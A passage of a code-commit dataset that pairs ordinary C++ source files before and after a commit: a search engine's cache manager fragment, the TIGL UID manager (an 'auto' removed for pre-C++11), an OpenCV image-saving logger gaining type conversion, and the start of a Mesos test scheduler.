exactOrFuzzy;\n\t\t\/\/ Cache key is : keyword+0 (for exact) or keyword+1 (for fuzzy)\n\t\t\/\/ for example: terminator => \"terminator$0\"\n\t\t\/\/ and terminator~0.5 => \"terminator$1\"\n\t\tboost::shared_ptr<PrefixActiveNodeSet> cacheHit;\n\t\tif(this->cacheContainer->get(key , cacheHit) == true && cacheHit->getEditDistanceThreshold() >= termThreshold){\n\t\t\tin = cacheHit;\n\t\t\treturn 1;\n\t\t}\n\t}\n \/\/ no prefix has a cached PrefixActiveNodeSet\n\treturn 0;\n\n}\n\n\nint ActiveNodesCache::setPrefixActiveNodeSet(boost::shared_ptr<PrefixActiveNodeSet> &prefixActiveNodeSet){\n\tvector<CharType> *prefix = prefixActiveNodeSet->getPrefix();\n\tstd::stringstream ss ;\n\tss << prefixActiveNodeSet->getEditDistanceThreshold();\n\tstd::string exactOrFuzzy = ss.str();\n\/\/\tstd::string exactOrFuzzy = prefixActiveNodeSet->getEditDistanceThreshold() == 0?\"0\":\"1\";\n\tstring key = getUtf8String(*prefix) + \"$\" + exactOrFuzzy;\n\tthis->cacheContainer->put(key , prefixActiveNodeSet);\n\treturn 1;\n}\nint ActiveNodesCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nActiveNodesCache * CacheManager::getActiveNodesCache(){\n\treturn this->aCache;\n}\n\nQueryResultsCache * CacheManager::getQueryResultsCache(){\n\treturn this->qCache;\n}\n\nPhysicalOperatorsCache * CacheManager::getPhysicalOperatorsCache(){\n\treturn this->pCache;\n}\n\nPhysicalPlanRecordItemFactory * CacheManager::getPhysicalPlanRecordItemFactory(){\n\treturn this->physicalPlanRecordItemFactory;\n}\n\nbool QueryResultsCache::getQueryResults(string & key, boost::shared_ptr<QueryResultsCacheEntry> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid QueryResultsCache::setQueryResults(string & key , boost::shared_ptr<QueryResultsCacheEntry> object){\n\tthis->cacheContainer->put(key , object);\n}\nint QueryResultsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint CacheManager::clear(){\n\treturn this->aCache->clear() && this->qCache->clear() && this->pCache->clear() && this->physicalPlanRecordItemFactory->clear();\n}\n\n\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright (C) 2007-2013 German Aerospace Center (DLR\/SC)\n*\n* Created: 2010-08-13 Markus Litz <Markus.Litz@dlr.de>\n* Changed: $Id$\n*\n* Version: $Revision$\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\/**\n* @file\n* @brief Implementation of the TIGL UID manager.\n*\/\n\n#include \"CTiglUIDManager.h\"\n#include \"CTiglError.h\"\n#include \"CTiglLogging.h\"\n#include \"to_string.h\"\n\nnamespace tigl\n{\n\n\/\/ Constructor\nCTiglUIDManager::CTiglUIDManager()\n : invalidated(true), rootComponent(NULL) {}\n\nvoid CTiglUIDManager::RegisterObject(const std::string& uid, void* object, const std::type_info& typeInfo)\n{\n if (uid.empty()) {\n throw CTiglError(\"Tried to register an empty uid for type \" + std::string(typeInfo.name()));\n }\n\n \/\/ check existence\n const CPACSObjectMap::iterator it = cpacsObjects.find(uid);\n if (it != cpacsObjects.end()) {\n throw CTiglError(\"Tried to register uid \" + uid + \" for type \" + std::string(typeInfo.name()) + \" which is already registered to an instance of \" + std::string(it->second.type->name()));\n }\n\n \/\/ insert\n cpacsObjects.insert(it, std::make_pair(uid, TypedPtr(\n object,\n &typeInfo\n )));\n}\n\nCTiglUIDManager::TypedPtr CTiglUIDManager::ResolveObject(const std::string& uid, const std::type_info& typeInfo) const\n{\n const TypedPtr object = ResolveObject(uid);\n\n \/\/ check type\n if (&typeInfo != object.type) {\n throw CTiglError(\"Object with uid \\\"\" + uid + \"\\\" is not a \" + std::string(typeInfo.name()) + \" but a \" + std::string(object.type->name()), TIGL_UID_ERROR);\n }\n\n return object;\n}\n\nCTiglUIDManager::TypedPtr CTiglUIDManager::ResolveObject(const std::string& uid) const\n{\n \/\/ check existence\n const CPACSObjectMap::const_iterator it = cpacsObjects.find(uid);\n if (it == cpacsObjects.end()) {\n throw CTiglError(\"No object is registered for uid \\\"\" + uid + \"\\\"\", TIGL_UID_ERROR);\n }\n return it->second;\n}\n\nbool CTiglUIDManager::TryUnregisterObject(const std::string& uid)\n{\n const CPACSObjectMap::iterator it = cpacsObjects.find(uid);\n if (it == cpacsObjects.end()) {\n return false;\n }\n cpacsObjects.erase(it);\n return true;\n}\n\nvoid CTiglUIDManager::UnregisterObject(const std::string& uid)\n{\n if (!TryUnregisterObject(uid)) {\n throw CTiglError(\"No object is registered for uid \\\"\" + uid + \"\\\"\", TIGL_UID_ERROR);\n }\n}\n\nnamespace\n{\nvoid writeComponent(CTiglRelativelyPositionedComponent* c, int level = 0)\n{\n std::string indentation;\n for (int i = 0; i < level; i++) {\n indentation += '\\t';\n }\n const auto uid = c->GetDefaultedUID();\n LOG(INFO) << indentation << (uid.empty() ? \"<no uid>\" : uid) << std::endl;\n const CTiglRelativelyPositionedComponent::ChildContainerType& children = c->GetChildren(false);\n for (CTiglRelativelyPositionedComponent::ChildContainerType::const_iterator it = children.begin(); it != children.end(); ++it) {\n writeComponent(*it, level + 1);\n }\n}\n}\n\n\/\/ Update internal UID manager data.\nvoid CTiglUIDManager::Update()\n{\n if (!invalidated) {\n return;\n }\n\n BuildTree();\n invalidated = false;\n\n LOG(INFO) << \"Relative component trees:\" << std::endl;\n for (RelativeComponentContainerType::const_iterator it = rootComponents.begin(); it != rootComponents.end(); ++it) {\n writeComponent(it->second);\n }\n}\n\n\/\/ Function to add a UID and a geometric component to the uid store.\nvoid CTiglUIDManager::AddGeometricComponent(const std::string& uid, ITiglGeometricComponent* componentPtr)\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::AddGeometricComponent\", TIGL_XML_ERROR);\n }\n\n if (HasGeometricComponent(uid)) {\n throw CTiglError(\"Duplicate UID \" + uid + \" in CPACS file (CTiglUIDManager::AddGeometricComponent)\", TIGL_XML_ERROR);\n }\n\n if (componentPtr == NULL) {\n throw CTiglError(\"Null pointer for component in CTiglUIDManager::AddGeometricComponent\", TIGL_NULL_POINTER);\n }\n\n CTiglRelativelyPositionedComponent* tmp = dynamic_cast<CTiglRelativelyPositionedComponent*>(componentPtr);\n if (tmp && (componentPtr->GetComponentType() & TIGL_COMPONENT_PHYSICAL) ) {\n relativeComponents[uid] = tmp;\n }\n allShapes[uid] = componentPtr;\n invalidated = true;\n}\n\nvoid CTiglUIDManager::RemoveGeometricComponent(const std::string &uid)\n{\n const ShapeContainerType::iterator it = allShapes.find(uid);\n if (it == allShapes.end()) {\n throw CTiglError(\"No shape is registered for uid \\\"\" + uid + \"\\\"\");\n }\n allShapes.erase(it);\n}\n\n\/\/ Checks if a UID already exists.\nbool CTiglUIDManager::HasGeometricComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::HasGeometricComponent\", TIGL_XML_ERROR);\n }\n\n return (allShapes.find(uid) != allShapes.end());\n}\n\n\/\/ Returns a pointer to the geometric component for the given unique id.\nITiglGeometricComponent& CTiglUIDManager::GetGeometricComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::GetGeometricComponent\", TIGL_UID_ERROR);\n }\n\n if (!HasGeometricComponent(uid)) {\n throw CTiglError(\"UID \" + std_to_string(uid) + \" not found in CTiglUIDManager::GetGeometricComponent\", TIGL_UID_ERROR);\n }\n\n return *allShapes.find(uid)->second;\n}\n\n\/\/ Returns a pointer to the geometric component for the given unique id.\nCTiglRelativelyPositionedComponent& CTiglUIDManager::GetRelativeComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::GetGeometricComponent\", TIGL_XML_ERROR);\n }\n\n const RelativeComponentContainerType::const_iterator it = relativeComponents.find(uid);\n if (it == relativeComponents.end()) {\n throw CTiglError(\"UID '\"+uid+\"' not found in CTiglUIDManager::GetGeometricComponent\", TIGL_XML_ERROR);\n }\n\n return *it->second;\n}\n\n\n\/\/ Clears the uid store\nvoid CTiglUIDManager::Clear()\n{\n relativeComponents.clear();\n allShapes.clear();\n rootComponents.clear();\n cpacsObjects.clear();\n invalidated = true;\n}\n\n\/\/ Returns the parent component for a component or a null pointer\n\/\/ if there is no parent.\nCTiglRelativelyPositionedComponent* CTiglUIDManager::GetParentGeometricComponent(const std::string& uid) const\n{\n CTiglRelativelyPositionedComponent& component = GetRelativeComponent(uid);\n const boost::optional<const std::string&> parentUID = component.GetParentUID();\n return parentUID ? NULL : &GetRelativeComponent(*parentUID);\n}\n\n\/\/ Returns the container with all root components of the geometric topology that have children.\nconst RelativeComponentContainerType& CTiglUIDManager::GetRootGeometricComponents() const\n{\n const_cast<CTiglUIDManager&>(*this).Update(); \/\/ TODO(bgruber): hack to keep up logical constness, think about mutable members\n return rootComponents;\n}\n\n\/\/ Builds the parent child relationships.\nvoid CTiglUIDManager::BuildTree()\n{\n \/\/ clear all relations\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n it->second->ClearChildren();\n }\n\n \/\/ build relations\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n CTiglRelativelyPositionedComponent& c = *it->second;\n const boost::optional<const std::string&> parentUid = c.GetParentUID();\n if (parentUid) {\n if (parentUid->empty()) {\n throw CTiglError(\"geometric component with uid \" + c.GetDefaultedUID() + \" has empty parentUid\");\n }\n\n CTiglRelativelyPositionedComponent& p = GetRelativeComponent(*parentUid);\n p.AddChild(c);\n c.SetParent(p);\n }\n }\n\n \/\/ find all components without a parent uid and find component with most children\n std::size_t count = 0;\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n CTiglRelativelyPositionedComponent* c = it->second;\n if (!c->GetParentUID()) {\n rootComponents[it->first] = c;\n }\n const std::size_t childCount = c->GetChildren(true).size();\n if (childCount > count) {\n count = childCount;\n rootComponent = c;\n }\n }\n}\n\nconst ShapeContainerType& CTiglUIDManager::GetShapeContainer() const\n{\n return allShapes;\n}\n\n} \/\/ end namespace tigl\n\n<commit_msg>Fixed invalid auto in pre c++11 code<commit_after>\/*\n* Copyright (C) 2007-2013 German Aerospace Center (DLR\/SC)\n*\n* Created: 2010-08-13 Markus Litz <Markus.Litz@dlr.de>\n* Changed: $Id$\n*\n* Version: $Revision$\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\/**\n* @file\n* @brief Implementation of the TIGL UID manager.\n*\/\n\n#include \"CTiglUIDManager.h\"\n#include \"CTiglError.h\"\n#include \"CTiglLogging.h\"\n#include \"to_string.h\"\n\nnamespace tigl\n{\n\n\/\/ Constructor\nCTiglUIDManager::CTiglUIDManager()\n : invalidated(true), rootComponent(NULL) {}\n\nvoid CTiglUIDManager::RegisterObject(const std::string& uid, void* object, const std::type_info& typeInfo)\n{\n if (uid.empty()) {\n throw CTiglError(\"Tried to register an empty uid for type \" + std::string(typeInfo.name()));\n }\n\n \/\/ check existence\n const CPACSObjectMap::iterator it = cpacsObjects.find(uid);\n if (it != cpacsObjects.end()) {\n throw CTiglError(\"Tried to register uid \" + uid + \" for type \" + std::string(typeInfo.name()) + \" which is already registered to an instance of \" + std::string(it->second.type->name()));\n }\n\n \/\/ insert\n cpacsObjects.insert(it, std::make_pair(uid, TypedPtr(\n object,\n &typeInfo\n )));\n}\n\nCTiglUIDManager::TypedPtr CTiglUIDManager::ResolveObject(const std::string& uid, const std::type_info& typeInfo) const\n{\n const TypedPtr object = ResolveObject(uid);\n\n \/\/ check type\n if (&typeInfo != object.type) {\n throw CTiglError(\"Object with uid \\\"\" + uid + \"\\\" is not a \" + std::string(typeInfo.name()) + \" but a \" + std::string(object.type->name()), TIGL_UID_ERROR);\n }\n\n return object;\n}\n\nCTiglUIDManager::TypedPtr CTiglUIDManager::ResolveObject(const std::string& uid) const\n{\n \/\/ check existence\n const CPACSObjectMap::const_iterator it = cpacsObjects.find(uid);\n if (it == cpacsObjects.end()) {\n throw CTiglError(\"No object is registered for uid \\\"\" + uid + \"\\\"\", TIGL_UID_ERROR);\n }\n return it->second;\n}\n\nbool CTiglUIDManager::TryUnregisterObject(const std::string& uid)\n{\n const CPACSObjectMap::iterator it = cpacsObjects.find(uid);\n if (it == cpacsObjects.end()) {\n return false;\n }\n cpacsObjects.erase(it);\n return true;\n}\n\nvoid CTiglUIDManager::UnregisterObject(const std::string& uid)\n{\n if (!TryUnregisterObject(uid)) {\n throw CTiglError(\"No object is registered for uid \\\"\" + uid + \"\\\"\", TIGL_UID_ERROR);\n }\n}\n\nnamespace\n{\nvoid writeComponent(CTiglRelativelyPositionedComponent* c, int level = 0)\n{\n std::string indentation;\n for (int i = 0; i < level; i++) {\n indentation += '\\t';\n }\n const std::string uid = c->GetDefaultedUID();\n LOG(INFO) << indentation << (uid.empty() ? \"<no uid>\" : uid) << std::endl;\n const CTiglRelativelyPositionedComponent::ChildContainerType& children = c->GetChildren(false);\n for (CTiglRelativelyPositionedComponent::ChildContainerType::const_iterator it = children.begin(); it != children.end(); ++it) {\n writeComponent(*it, level + 1);\n }\n}\n}\n\n\/\/ Update internal UID manager data.\nvoid CTiglUIDManager::Update()\n{\n if (!invalidated) {\n return;\n }\n\n BuildTree();\n invalidated = false;\n\n LOG(INFO) << \"Relative component trees:\" << std::endl;\n for (RelativeComponentContainerType::const_iterator it = rootComponents.begin(); it != rootComponents.end(); ++it) {\n writeComponent(it->second);\n }\n}\n\n\/\/ Function to add a UID and a geometric component to the uid store.\nvoid CTiglUIDManager::AddGeometricComponent(const std::string& uid, ITiglGeometricComponent* componentPtr)\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::AddGeometricComponent\", TIGL_XML_ERROR);\n }\n\n if (HasGeometricComponent(uid)) {\n throw CTiglError(\"Duplicate UID \" + uid + \" in CPACS file (CTiglUIDManager::AddGeometricComponent)\", TIGL_XML_ERROR);\n }\n\n if (componentPtr == NULL) {\n throw CTiglError(\"Null pointer for component in CTiglUIDManager::AddGeometricComponent\", TIGL_NULL_POINTER);\n }\n\n CTiglRelativelyPositionedComponent* tmp = dynamic_cast<CTiglRelativelyPositionedComponent*>(componentPtr);\n if (tmp && (componentPtr->GetComponentType() & TIGL_COMPONENT_PHYSICAL) ) {\n relativeComponents[uid] = tmp;\n }\n allShapes[uid] = componentPtr;\n invalidated = true;\n}\n\nvoid CTiglUIDManager::RemoveGeometricComponent(const std::string &uid)\n{\n const ShapeContainerType::iterator it = allShapes.find(uid);\n if (it == allShapes.end()) {\n throw CTiglError(\"No shape is registered for uid \\\"\" + uid + \"\\\"\");\n }\n allShapes.erase(it);\n}\n\n\/\/ Checks if a UID already exists.\nbool CTiglUIDManager::HasGeometricComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::HasGeometricComponent\", TIGL_XML_ERROR);\n }\n\n return (allShapes.find(uid) != allShapes.end());\n}\n\n\/\/ Returns a pointer to the geometric component for the given unique id.\nITiglGeometricComponent& CTiglUIDManager::GetGeometricComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::GetGeometricComponent\", TIGL_UID_ERROR);\n }\n\n if (!HasGeometricComponent(uid)) {\n throw CTiglError(\"UID \" + std_to_string(uid) + \" not found in CTiglUIDManager::GetGeometricComponent\", TIGL_UID_ERROR);\n }\n\n return *allShapes.find(uid)->second;\n}\n\n\/\/ Returns a pointer to the geometric component for the given unique id.\nCTiglRelativelyPositionedComponent& CTiglUIDManager::GetRelativeComponent(const std::string& uid) const\n{\n if (uid.empty()) {\n throw CTiglError(\"Empty UID in CTiglUIDManager::GetGeometricComponent\", TIGL_XML_ERROR);\n }\n\n const RelativeComponentContainerType::const_iterator it = relativeComponents.find(uid);\n if (it == relativeComponents.end()) {\n throw CTiglError(\"UID '\"+uid+\"' not found in CTiglUIDManager::GetGeometricComponent\", TIGL_XML_ERROR);\n }\n\n return *it->second;\n}\n\n\n\/\/ Clears the uid store\nvoid CTiglUIDManager::Clear()\n{\n relativeComponents.clear();\n allShapes.clear();\n rootComponents.clear();\n cpacsObjects.clear();\n invalidated = true;\n}\n\n\/\/ Returns the parent component for a component or a null pointer\n\/\/ if there is no parent.\nCTiglRelativelyPositionedComponent* CTiglUIDManager::GetParentGeometricComponent(const std::string& uid) const\n{\n CTiglRelativelyPositionedComponent& component = GetRelativeComponent(uid);\n const boost::optional<const std::string&> parentUID = component.GetParentUID();\n return parentUID ? NULL : &GetRelativeComponent(*parentUID);\n}\n\n\/\/ Returns the container with all root components of the geometric topology that have children.\nconst RelativeComponentContainerType& CTiglUIDManager::GetRootGeometricComponents() const\n{\n const_cast<CTiglUIDManager&>(*this).Update(); \/\/ TODO(bgruber): hack to keep up logical constness, think about mutable members\n return rootComponents;\n}\n\n\/\/ Builds the parent child relationships.\nvoid CTiglUIDManager::BuildTree()\n{\n \/\/ clear all relations\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n it->second->ClearChildren();\n }\n\n \/\/ build relations\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n CTiglRelativelyPositionedComponent& c = *it->second;\n const boost::optional<const std::string&> parentUid = c.GetParentUID();\n if (parentUid) {\n if (parentUid->empty()) {\n throw CTiglError(\"geometric component with uid \" + c.GetDefaultedUID() + \" has empty parentUid\");\n }\n\n CTiglRelativelyPositionedComponent& p = GetRelativeComponent(*parentUid);\n p.AddChild(c);\n c.SetParent(p);\n }\n }\n\n \/\/ find all components without a parent uid and find component with most children\n std::size_t count = 0;\n for (RelativeComponentContainerType::iterator it = relativeComponents.begin(); it != relativeComponents.end(); ++it) {\n CTiglRelativelyPositionedComponent* c = it->second;\n if (!c->GetParentUID()) {\n rootComponents[it->first] = c;\n }\n const std::size_t childCount = c->GetChildren(true).size();\n if (childCount > count) {\n count = childCount;\n rootComponent = c;\n }\n }\n}\n\nconst ShapeContainerType& CTiglUIDManager::GetShapeContainer() const\n{\n return allShapes;\n}\n\n} \/\/ end namespace tigl\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file\tsrc\/dataLoggers\/SaveImageLogger.cpp\n * @date\tJan. 2017\n * @author\tPhRG - opticalp.fr\n *\/\n\n\/*\n Copyright (c) 2017 Ph. Renaud-Goud \/ Opticalp\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n *\/\n\n#ifdef HAVE_OPENCV\n\n#include \"SaveImageLogger.h\"\n#include \"core\/DataItem.h\"\n\n#include \"Poco\/NumberFormatter.h\"\n\n#include \"opencv2\/opencv.hpp\"\n\nsize_t SaveImageLogger::refCount = 0;\n\nSaveImageLogger::SaveImageLogger():\n DataLogger(\"SaveImageLogger\"),\n nextIndex(1), extension(\".png\"),\n prefix(\"img_\"), digits(2)\n{\n setName(refCount);\n\n setParameterCount(paramCnt);\n addParameter(paramDirectory, \"directory\", \"Directory in which to store the images\",\n ParamItem::typeString, \"\");\n addParameter(paramPrefix, \"prefix\", \"Prefix to be used to build the image file name\",\n ParamItem::typeString, \"img_\");\n addParameter(paramDigits, \"digits\", \"Count of digits to be used to build the image file name. \"\n \"Those digits will follow the prefix\", ParamItem::typeInteger, \"2\");\n addParameter(paramExtension, \"extension\", \"Image file extension, including the dot. E.g. \\\".png\\\"\",\n ParamItem::typeString, \".png\");\n addParameter(paramNextIndex, \"nextIndex\", \"Next index to be used to generate the image file name\",\n ParamItem::typeInteger, \"1\");\n\n refCount++;\n}\n\nvoid SaveImageLogger::log()\n{\n cv::Mat img = *(getDataSource()->getData<cv::Mat>());\n\n if (img.data)\n {\n Poco::Path imgPath(directory);\n\n if (digits)\n {\n std::string fullIndex = Poco::NumberFormatter::format(nextIndex, digits);\n std::string index(fullIndex.end()-digits, fullIndex.end()); \/\/ cheap modulo\n imgPath.append(prefix + index + extension);\n }\n else\n {\n imgPath.append(prefix + extension);\n }\n\n \/\/ write image.\n cv::imwrite(imgPath.toString(), img);\n\n \/\/ increment parameters\n nextIndex++;\n }\n else\n {\n throw Poco::RuntimeException(name(),\"empty image, nothing to save\");\n }\n}\n\nbool SaveImageLogger::isSupportedInputDataType(int datatype)\n{\n return (datatype == (DataItem::typeCvMat | DataItem::contScalar));\n}\n\nstd::set<int> SaveImageLogger::supportedInputDataType()\n{\n std::set<int> ret;\n ret.insert(DataItem::typeCvMat);\n return ret;\n}\n\nPoco::Int64 SaveImageLogger::getIntParameterValue(size_t paramIndex)\n{\n switch (paramIndex)\n {\n case paramDigits:\n return digits;\n case paramNextIndex:\n return nextIndex;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nstd::string SaveImageLogger::getStrParameterValue(size_t paramIndex)\n{\n switch (paramIndex)\n {\n case paramDirectory:\n return directory.toString();\n case paramPrefix:\n return prefix;\n case paramExtension:\n return extension;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nvoid SaveImageLogger::setIntParameterValue(size_t paramIndex, Poco::Int64 value)\n{\n switch (paramIndex)\n {\n case paramDigits:\n if (digits < 0)\n throw Poco::RangeException(\"setParameterValue\",\n \"parameter digits has to be positive\");\n digits = value;\n break;\n case paramNextIndex:\n nextIndex = value;\n break;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nvoid SaveImageLogger::setStrParameterValue(size_t paramIndex, std::string value)\n{\n switch (paramIndex)\n {\n case paramDirectory:\n directory = value;\n directory.makeAbsolute();\n break;\n case paramPrefix:\n prefix = value;\n break;\n case paramExtension:\n extension = value;\n break;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\n#endif \/* HAVE_OPENCV *\/\n<commit_msg>Add simple image type conversion while saving<commit_after>\/**\n * @file\tsrc\/dataLoggers\/SaveImageLogger.cpp\n * @date\tJan. 2017\n * @author\tPhRG - opticalp.fr\n *\/\n\n\/*\n Copyright (c) 2017 Ph. Renaud-Goud \/ Opticalp\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n *\/\n\n#ifdef HAVE_OPENCV\n\n#include \"SaveImageLogger.h\"\n#include \"core\/DataItem.h\"\n\n#include \"Poco\/NumberFormatter.h\"\n\n#include \"opencv2\/opencv.hpp\"\n\nsize_t SaveImageLogger::refCount = 0;\n\nSaveImageLogger::SaveImageLogger():\n DataLogger(\"SaveImageLogger\"),\n nextIndex(1), extension(\".png\"),\n prefix(\"img_\"), digits(2)\n{\n setName(refCount);\n\n setParameterCount(paramCnt);\n addParameter(paramDirectory, \"directory\", \"Directory in which to store the images\",\n ParamItem::typeString, \"\");\n addParameter(paramPrefix, \"prefix\", \"Prefix to be used to build the image file name\",\n ParamItem::typeString, \"img_\");\n addParameter(paramDigits, \"digits\", \"Count of digits to be used to build the image file name. \"\n \"Those digits will follow the prefix\", ParamItem::typeInteger, \"2\");\n addParameter(paramExtension, \"extension\", \"Image file extension, including the dot. E.g. \\\".png\\\"\",\n ParamItem::typeString, \".png\");\n addParameter(paramNextIndex, \"nextIndex\", \"Next index to be used to generate the image file name\",\n ParamItem::typeInteger, \"1\");\n\n refCount++;\n}\n\nvoid SaveImageLogger::log()\n{\n cv::Mat img = *(getDataSource()->getData<cv::Mat>());\n\n if (img.data)\n {\n Poco::Path imgPath(directory);\n\n if (digits)\n {\n std::string fullIndex = Poco::NumberFormatter::format(nextIndex, digits);\n std::string index(fullIndex.end()-digits, fullIndex.end()); \/\/ cheap modulo\n imgPath.append(prefix + index + extension);\n }\n else\n {\n imgPath.append(prefix + extension);\n }\n\n if (img.type()!=CV_8U && img.type()!=CV_16U)\n {\n double min,max;\n cv::minMaxLoc(img,&min,&max);\n\n cv::Mat tmpImg; \/\/ temporary image\n img.convertTo(\n tmpImg, \/\/ output image\n CV_8U, \/\/ depth\n 255.0\/max ); \/\/ scale factor\n\n \/\/ save image\n cv::imwrite(imgPath.toString(), tmpImg);\n }\n else\n {\n cv::imwrite(imgPath.toString(), img);\n }\n\n \/\/ increment parameters\n nextIndex++;\n }\n else\n {\n throw Poco::RuntimeException(name(),\"empty image, nothing to save\");\n }\n}\n\nbool SaveImageLogger::isSupportedInputDataType(int datatype)\n{\n return (datatype == (DataItem::typeCvMat | DataItem::contScalar));\n}\n\nstd::set<int> SaveImageLogger::supportedInputDataType()\n{\n std::set<int> ret;\n ret.insert(DataItem::typeCvMat);\n return ret;\n}\n\nPoco::Int64 SaveImageLogger::getIntParameterValue(size_t paramIndex)\n{\n switch (paramIndex)\n {\n case paramDigits:\n return digits;\n case paramNextIndex:\n return nextIndex;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nstd::string SaveImageLogger::getStrParameterValue(size_t paramIndex)\n{\n switch (paramIndex)\n {\n case paramDirectory:\n return directory.toString();\n case paramPrefix:\n return prefix;\n case paramExtension:\n return extension;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nvoid SaveImageLogger::setIntParameterValue(size_t paramIndex, Poco::Int64 value)\n{\n switch (paramIndex)\n {\n case paramDigits:\n if (digits < 0)\n throw Poco::RangeException(\"setParameterValue\",\n \"parameter digits has to be positive\");\n digits = value;\n break;\n case paramNextIndex:\n nextIndex = value;\n break;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\nvoid SaveImageLogger::setStrParameterValue(size_t paramIndex, std::string value)\n{\n switch (paramIndex)\n {\n case paramDirectory:\n directory = value;\n directory.makeAbsolute();\n break;\n case paramPrefix:\n prefix = value;\n break;\n case paramExtension:\n extension = value;\n break;\n default:\n poco_bugcheck_msg(\"wrong parameter index\");\n throw Poco::BugcheckException();\n }\n}\n\n#endif \/* HAVE_OPENCV *\/\n<|endoftext|>"} {"text":"<commit_before>#include <mesos_sched.hpp>\n\n#include <libgen.h>\n\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"foreach.hpp\"\n\nusing namespace std;\nusing namespace mesos;\nusing boost::lexical_cast;\n\nclass MyScheduler : public Scheduler\n{\n string executor;\n int tasksLaunched;\n int tasksFinished;\n int totalTasks;\n\npublic:\n MyScheduler(const string& exec)\n : executor(exec), tasksLaunched(0), tasksFinished(0), totalTasks(5) {}\n\n virtual ~MyScheduler() {}\n\n virtual string getFrameworkName(SchedulerDriver*) {\n return \"C++ Test Framework\";\n }\n\n virtual ExecutorInfo getExecutorInfo(SchedulerDriver*) {\n return ExecutorInfo(executor, \"\");\n }\n\n virtual void registered(SchedulerDriver*, FrameworkID fid) {\n cout << \"Registered!\" << endl;\n }\n\n virtual void resourceOffer(SchedulerDriver* d,\n 